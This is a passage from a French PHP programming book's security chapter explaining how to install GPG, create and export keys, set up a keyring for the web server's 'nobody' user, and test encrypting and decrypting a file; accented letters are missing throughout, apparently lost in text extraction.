le serveur web pour quil excute ses scripts sous le nom dutilisateurs particuliers ou
en obligeant chaque utilisateur excuter sa propre instance du serveur web. Si vous
ntes pas ladministrateur de votre serveur web (ce qui est fort probable si vous le
partagez), il peut tre intressant de parler de ce problme avec votre administrateur et
de passer en revue les diffrentes options de scurit.
Chapitre 16
407
Sil existe des versions gratuites de PGP, il faut savoir quil ne sagit pas dun logiciel
libre. La version gratuite ne peut tre utilise lgalement que dans le cadre dune utilisation non commerciale.
Il existe galement une version open-source de PGP, GPG (Gnu Privacy Guard), qui
offre une alternative libre et gratuite PGP. Cette version ne contient aucun algorithme
dpos et peut tre utilise sans aucune restriction dans un cadre commercial.
Ces deux produits effectuent la mme tche, presque de la mme manire. Si vous avez
lintention dutiliser ces outils partir de la ligne de commande, vous ne verrez pas
grande diffrence entre les deux, mais chacun fournit des interfaces diffrentes se
prsentant, par exemple, sous la forme de modules destins des programmes de courrier
lectronique afin de dchiffrer automatiquement les e-mails lors de leur rception.
GPG est disponible sur le site http://www.gnupg.org.
Vous pouvez galement utiliser ces deux produits conjointement ; il est ainsi possible
de chiffrer avec GPG des messages destins une personne employant PGP pour les
dchiffrer ( condition quelle en possde une version rcente). Comme nous nous intressons la cration de messages au niveau du serveur web, notre exemple se servira de
GPG. Lutilisation de PGP la place de GPG ne change pas grand-chose au processus.
Outre les prrequis habituels pour les exemples de ce livre, vous devrez avoir install
GPG pour que ce code fonctionne. Il est dailleurs peut-tre dj install sur votre
systme. Si ce nest pas le cas, ne vous inquitez pas : la procdure dinstallation est
trs simple, bien que la configuration ultrieure soit assez dlicate.
Installation de GPG
Pour ajouter GPG sur notre ordinateur Linux, nous avons charg le fichier archive appropri depuis le site www.gnupg.org. Selon que vous choisissez le format darchive .tar.gz
ou .tar.bz2, vous aurez besoin de gunzip ou de bunzip2 et de tar pour extraire les fichiers
de larchive.
Pour compiler et installer le programme, servez-vous des commandes traditionnelles :
configure (ou ./configure selon votre systme)
make
make install
Si vous ntes pas lutilisateur root, vous devrez excuter le script de configuration
avec loption prefix, comme ceci :
./configure --prefix=/chemin/vers/votre/repertoire
408
Partie III
Scurit
Si tout se passe bien, GPG est compil et lexcutable est copi dans le rpertoire /usr/
local/bin/gpg ou dans celui prcis lors de linstallation. Vous pouvez modifier
plusieurs options. Consultez la documentation de GPG pour plus de dtails.
Pour un serveur Windows, le processus dinstallation est encore plus simple. Chargez le
fichier zip, dcompressez-le et placez gpg.exe dans un des rpertoires indiqus dans
votre variable PATH (C:\Windows\, par exemple). Crez le rpertoire C:\gnupg, ouvrez
un interprteur de commandes et saisissez la commande gpg.
Vous devez galement installer GPG ou PGP (et gnrer une paire de cls correspondante) sur le systme sur lequel vous irez chercher vos e-mails.
Sur le serveur web, il existe trs peu de diffrences entre les versions en ligne de
commande de GPG et de PGP, donc, autant utiliser GPG, dautant plus quil est gratuit.
Sur lordinateur partir duquel vous lisez vos e-mails, vous pouvez prfrer installer
une version commerciale de PGP, pour tirer profit de son interface utilisateur graphique
qui sintgre dans votre logiciel de courrier.
Si vous nen possdez pas dj une, produisez une paire de cls sur lordinateur dont
vous vous servez pour lire vos courriers. Une paire de cls est compose dune cl
publique que les autres personnes (et vos scripts PHP) utilisent pour chiffrer les courriers avant de vous les envoyer et dune cl prive dont vous devez vous servir pour
dchiffrer les messages que vous recevez et pour signer les courriers sortants.
Il est important que la gnration des cls soit effectue sur lordinateur choisi pour la
lecture des courriers et non pas sur le serveur web, puisque votre cl prive ne doit pas
tre conserve sur le serveur web.
Si vous vous servez de la version en ligne de commande de GPG pour gnrer vos cls,
saisissez la commande suivante :
gpg --gen-key
Vous devrez rpondre certaines questions. La plupart dentre elles sont accompagnes
dune rponse par dfaut que vous pouvez accepter. Vous devrez notamment fournir un
nom, une adresse e-mail et un commentaire qui seront utiliss pour donner un nom la
cl. Par exemple, ma cl sappelle Luke Welling <luke@tangledweb.com.au>. Si
nous voulions fournir un commentaire, celui-ci serait insr entre le nom et ladresse.
Pour exporter la cl publique de votre nouvelle paire de cls, vous pouvez vous servir
de la commande suivante :
gpg --export > nomdefichier
Cette commande produit un fichier binaire destin tre import dans le systme de
cls de PGP ou de GPG dun autre ordinateur. Si vous souhaitez transmettre cette cl
Chapitre 16
409
par courrier dautres personnes, afin quils puissent limporter dans leur systme de
cls, il vaut mieux crer une version ASCII de ce fichier :
gpg --export -a > nomdefichier
Aprs avoir extrait la cl publique, vous pouvez transfrer le fichier dans votre compte
sur le serveur web, laide de FTP.
Les commandes suivantes supposent que vous utilisez Unix. Les tapes sont les mmes
sous Windows, mais les noms des rpertoires et ceux des commandes sont diffrents.
Ouvrez une session sur le serveur web, sous votre compte, et modifiez les droits du
fichier pour que les autres personnes puissent le lire :
chmod 644 nomdefichier
Vous devez crer un trousseau de cls pour que lutilisateur au nom duquel vos scripts
PHP sont excuts puisse se servir de GPG. Le nom de cet utilisateur dpend de la
configuration de votre serveur. Il sagit souvent de lutilisateur nobody.
Ouvrez une session sous le compte de lutilisateur du serveur web. Pour cela, vous
devez possder un accs root au serveur. Sur la plupart des systmes, le serveur web
sexcute sous le compte nobody. Les exemples suivants partent de cette hypothse. Si
cest bien le cas sur votre systme, saisissez la commande suivante :
su root
su nobody
Crez un rpertoire pour nobody, destin contenir son trousseau de cls et les autres
informations de configuration de GPG. Ce rpertoire doit se trouver dans le rpertoire
personnel de nobody.
Le rpertoire personnel de chaque utilisateur est spcifi dans le fichier /etc/passwd.
Sur la plupart des systmes Linux, le rpertoire personnel de nobody vaut par dfaut /,
et nobody na aucun droit en criture sur ce rpertoire. Sur la plupart des systmes BSD,
le rpertoire personnel de nobody est par dfaut /nonexistent, dans lequel on ne peut
pas crire puisquil nexiste pas. Sur notre systme, le rpertoire personnel de nobody
est /tmp. Vous devez vous assurer que lutilisateur de votre serveur web possde un
rpertoire personnel dans lequel il peut crire.
Saisissez les commandes suivantes :
cd ~
mkdir .gnupg
410
Partie III
Scurit
Comme votre utilisateur nobody reoit probablement trs peu de courriers personnels,
vous pouvez lui crer une cl de signature qui lui est propre. Le seul intrt de cette
cl est de nous permettre de faire confiance la cl publique qui a t extraite prcdemment.
Pour importer la cl publique que nous avons exporte auparavant, servez-vous de la
commande suivante :
gpg --import nom_fichier
Pour indiquer GPG que nous souhaitons faire confiance cette cl, nous devons modifier
les proprits de cette cl avec la commande suivante :
gpg --edit-key Luke Welling <luke@tangledweb.com.au>
Sur cette ligne, le texte entre guillemets correspond au nom de la cl. Naturellement, le
nom de votre cl sera non pas Luke Welling <luke@tangledweb.com.au>, mais une
combinaison du nom, du commentaire et de ladresse de courrier que vous avez fournis
lors de sa cration.
Parmi les options de ce programme, vous pouvez utiliser help, qui dcrit les commandes
disponibles : trust, sign et save.
Tapez trust pour indiquer GPG que vous faites entirement confiance la cl. Choisissez sign pour signer cette cl publique laide de la cl prive de nobody. Enfin,
saisissez save pour sortir de ce programme en enregistrant vos modifications.
Tester GPG
GPG devrait maintenant tre configur et prt lemploi.
Pour le tester, nous pouvons crer un fichier texte et lenregistrer sous le nom test.txt.
Saisissez la commande suivante ( adapter en fonction du nom de votre cl) :
gpg -a --recipient Luke Welling <luke@tangledweb.com.au> --encrypt test.txt
Chapitre 16
411
cJRSCMsFIoI6MMNRCQHY6p9bfxL2uE39IRJrQbe6xoEe0nkB0uTYxiL0TG+FrNrE
tvBVMS0nsHu7HJey+oY4Z833pk5+MeVwYumJwlvHjdZxZmV6wz46GO2XGT17b28V
wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdH0Xa+NpqbH7q3+xXmd30hDR
+u7t6MxTLDbgC+NR
=gfQu
-----END PGP MESSAGE-----
Vous devriez tre capable de transfrer ce fichier sur le systme o vous avez gnr
initialement la cl. Excutez ensuite la commande suivante :
gpg
test.txt.asc
pour retrouver votre message dorigine. Le texte sera crit dans un fichier portant le
mme nom quauparavant (dans le cas prsent, test.txt).
Pour que le texte soit affich lcran, utilisez loption d :
gpg -d test.txt.asc
Pour placer le texte dans un fichier de votre choix au lieu du nom par dfaut, vous
pouvez galement utiliser loption o et prciser un fichier de sortie, comme ceci :
gpg -do test.out test.txt.asc